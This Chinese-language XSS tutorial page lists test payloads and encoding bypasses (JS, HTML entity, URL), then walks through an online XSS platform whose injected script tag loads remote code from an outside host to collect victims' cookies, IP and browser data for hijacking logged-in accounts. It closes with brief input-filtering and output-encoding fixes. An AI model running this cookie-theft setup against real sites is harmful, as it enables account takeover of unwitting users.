XSS常用语句及编码绕过

XSS常用的测试语句有:

  • <script>alert(1)</script>
  • <img src=x onerror=alert(1)>
  • <svg onload=alert(1)>
  • <a href=javascript:alert(1)>

    常见的XSS的绕过编码有JS编码、HTML实体编码和URL编码

JS编码

JS提供了四种字符编码的策略,如下所示。

  • 三个八进制数字,如果个数不够,在前面补0,例如“e” 的编码为“\145” ;
  • 两个十六进制数字,如果个数不够,在前面补0,例如"e" 的编码为"\x65" ;
  • 四个十六进制数字,如果个数不够,在前面补0,例如"e" 的编码为“\u0065”;
  • 对于一些控制字符,使用特殊的C类型的转义风格(例如和\r) 。

HTML实体编码

  • 命名实体:以&开头,以分号结尾的,例如"<"的编码是"<" 。
  • 字符编码:十进制、十六进制ASCII码或Unicode字符编码,样式为"&#数值;",例如"<" 可以编码为 "<" 和"<"

URL编码

这里的URL编码,也是两次URL全编码的结果。如果alert被过滤,结果为%25%36%31%25%36%63%25%36%35%25%37%32%25%37%34。

在使用XSS编码测试时,需要考虑HTML渲染的顺序,特别是针对多种编码组合时,要选择合适的编码方式进行测试。

使用XSS平台测试XSS漏洞

XSS在线平台

首先在XSS平台注册账并登录,单击"我的项目”中的“创建” 按钮,页面中的名称和描述是分类的,随意填写即可。

勾选“默认模块”选项后单击"下一步”按钮。这里不要太多模块都勾选,非常非常容易导致JS报错,如果报错,那么可能你就收不到对方的中招信息了。尽量只勾选一个或两个。这里说明一下,注意上方的红框,这里最好是复制上方第一个红色方框中的内容,例如:<sCRiPt sRC=//xyl.life/xxxx></sCrIpT> 这个就是项目给你的代码,这里说一下你需要测试的网站是https的网站且你的XSS平台也支持https那么你可以把这个代码改成 <sCRiPt sRC=https://xyl.life/xxxx></sCrIpT> 这样。

这里还要说明一下,其实<sCRiPt sRC=//xyl.life/xxxx></sCrIpT>当网站前面是//的时候,代码会自动适配网站,如果对方网站是https的那么代码会自动从https加载,如果对方网站是http的那么代码会从http加载。所以,默认的这种方式是最好的插入方式。页面上显示了多种利用代码,在实际情况中, 一般会根据HTML源码选择合适的利用代码,以此构造浏览器能够执行的代码,这里选择第二种利用代码。

将利用代码插入到存在XSS漏洞的URL后,检查浏览器缓存加载文件。发现浏览器成功执行XSS的利用代码

然后如果对方中招了,那么你的XSS平台就会有收到对方的信息。

回到XSS平台,可以看到我们已经获取了信息,其中包含来源地址、cookie、IP、 浏览器等,如果用户处于登录状态,可修改cookie并进入该用户的账户。

XSS漏洞修复建议

因为XSS漏洞涉及输入和输出两部分,所以其修复也分为两种。

  • 过滤输入的数据,包括 '"<>on* 等非法字符。
  • 对输出到页面的数据进行相应的编码转换,包括HTML实体编码、JavaScript编码等。

XSS平台简单使用的更多相关文章

  1. 使用Django简单编写一个XSS平台

    1) 简要描述        原理十分简单2333,代码呆萌,大牛勿喷 >_< 2) 基础知识 XSS攻击基本原理和利用方法 Django框架的使用 3) Let's start 0x01 ...

  2. 从零开始搭建轻量级个人XSS平台

    一. 前言 决定搭建XSS平台是因为自己想深入学习一下XSS相关的知识,多多进行实践,上网搜索了一下XSS平台有很多,但是总觉得不是很安全,这个毕竟敏感信息要传输到陌生人的服务器上,而且服务器端测试代 ...

  3. xss小结-从xss平台搭建到csp规则

    0x00前言 xss是跨站脚本攻击,利用嵌入js代码达到‘控制’对方浏览器的作用,测试的时候我们是用alert(1)弹窗,而做CTF也好,实际中的漏洞利用也好一般是用xss获取管理员的cookie 0 ...

  4. web安全后渗透--XSS平台搭建及使用

     xss平台搭建 1.申请一个云主机来进行建站:149.28.xx.xx 2.安装lnmp: wget http://soft.vpser.net/lnmp/lnmp1.5.tar.gz -cO ln ...

  5. 构造个人轻量级XSS平台获取管理员cookie并登录

    一.前言 本平台是个人轻量级XSS测试平台,仅作为练习参考. 二.实验环境 服务器操作系统:Centos 7 Web容器:Apache 三.平台搭建过程 安装Apache 安装PHP 安装Git工具 ...

  6. i春秋CTF-“百度杯”CTF比赛 九月场 XSS平台

    “百度杯“CTF比赛 九月场 ###XSS平台   看了别人的wp才知道这里需要变数组引起报错然后百度信息收集,这一步在实战中我觉得是很有作用的,get到.       这里取百度rtiny,看别人w ...

  7. XSS平台-学习

    单点登录 - Telnet 404https://sso.telnet404.com/cas/login?service=https%3A%2F%2Fwww.seebug.org%2Faccounts ...

  8. XSS的简单过滤和绕过

    XSS的简单过滤和绕过 程序猿用一些函数将构成xss代码的一些关键字符给过滤了.但是,道高一尺魔高一丈,虽然过滤了,还是可以尝试进行过滤绕过,以达到XSS攻击的目的. 最简单的是输入<scrip ...

  9. xss平台搭建

    1. xss平台搭建 l 将xss平台源码放置在网站目录下 l 进入MySQL管理界面中的phpMyAdmin界面,新建一个XSS平台的数据库 l 修改XSS源码文件目录下的config.php中的数 ...

随机推荐

  1. ubuntu18.04 开机定时启动任务

    1,crontab 格式:M H D m d cmd == 分 时 天 月 周几 命令 参数 : crontab -e : 执行文字编辑器来设定时程表,内定的文字编辑器是 VI,如果你想用别的文字编辑 ...

  2. flutter 制作一个用户登录页面

    flutter 制作一个用户登录页面 用户登录效果图如下: 登录页面如下: import 'package:flutter/material.dart'; import 'package:flutte ...

  3. 建设开发者生态:6项华为API管理原则落地

    摘要: 为了向开发者提供良好.一致.稳定的华为API的体验,华为通过明确“API管理六项原则”,来支持开发者生态建设. 一个不开放的组织,会慢慢成为一潭僵水,一个封闭的系统,能量最终会耗尽,在产品开发 ...

  4. Javascript数组与函数初识

    1 - 数组 1.1 数组的概念 数组可以把一组相关的数据一起存放,并提供方便的访问(获取)方式. 数组是指一组数据的集合,其中的每个数据被称作元素,在数组中可以存放任意类型的元素.数组是一种将一组数 ...

  5. 2020,6招玩转 Appium 自动化测试

    Appium是个什么鬼 Appium是一个移动端的自动化框架,可用于测试原生应用,移动网页应用和混合型应用,且是跨平台的.可用于IOS和Android以及firefox的操作系统.原生的应用是指用an ...

  6. Struts+Servlet+JDBC网上手机销售系统

    项目描述 Hi,大家好,今天给大家分享一个<网上手机销售系统>.本系统一共分为前台和后台两大模块,两个模块之间虽然在表面上是相互独立的,但是在对数据库的访问上是紧密相连的,各个模块访问的是 ...

  7. day45:JS中的json&JS的BOM操作和DOM操作

    目录 1.补充:CSS中的弹性盒子 2.JS中json的序列化 3.JS中的BOM操作 3.1 location操作 3.2 计时器 4.JS中的DOM操作 4.1 创建标签 4.2 查找标签 4.3 ...

  8. JavaScript 究竟是怎样去执行的?

    摘要: 理解 JS 引擎运行原理. 作者:前端小智 原文:搞懂 JavaScript 引擎运行原理 Fundebug经授权转载,版权归原作者所有. 一些名词 JS 引擎 — 一个读取代码并运行的引擎, ...

  9. C#知识点:ref和Out关键字浅谈

    首先我们要知道ref和out在C#里面是什么? 答:它们俩是C#里面的关键字. 他们俩是干啥的呢? 答:他们俩是方法参数的修饰符号,一但使用,方法定义和方法都用都要使用这个关键字,这一点是死规定. 好 ...

  10. 干Java这一行,应该怎样提升自己?

    前段时间,字节跳动在阿里巴巴的大本营杭州悄悄的建立一个研发中心,最近在疯狂招人. 相信最近一段时间,杭州的很多的互联网公司的开发人员都接到过猎头的电话.据了解,字节跳动杭州研发中心主要负责字节跳动新增 ...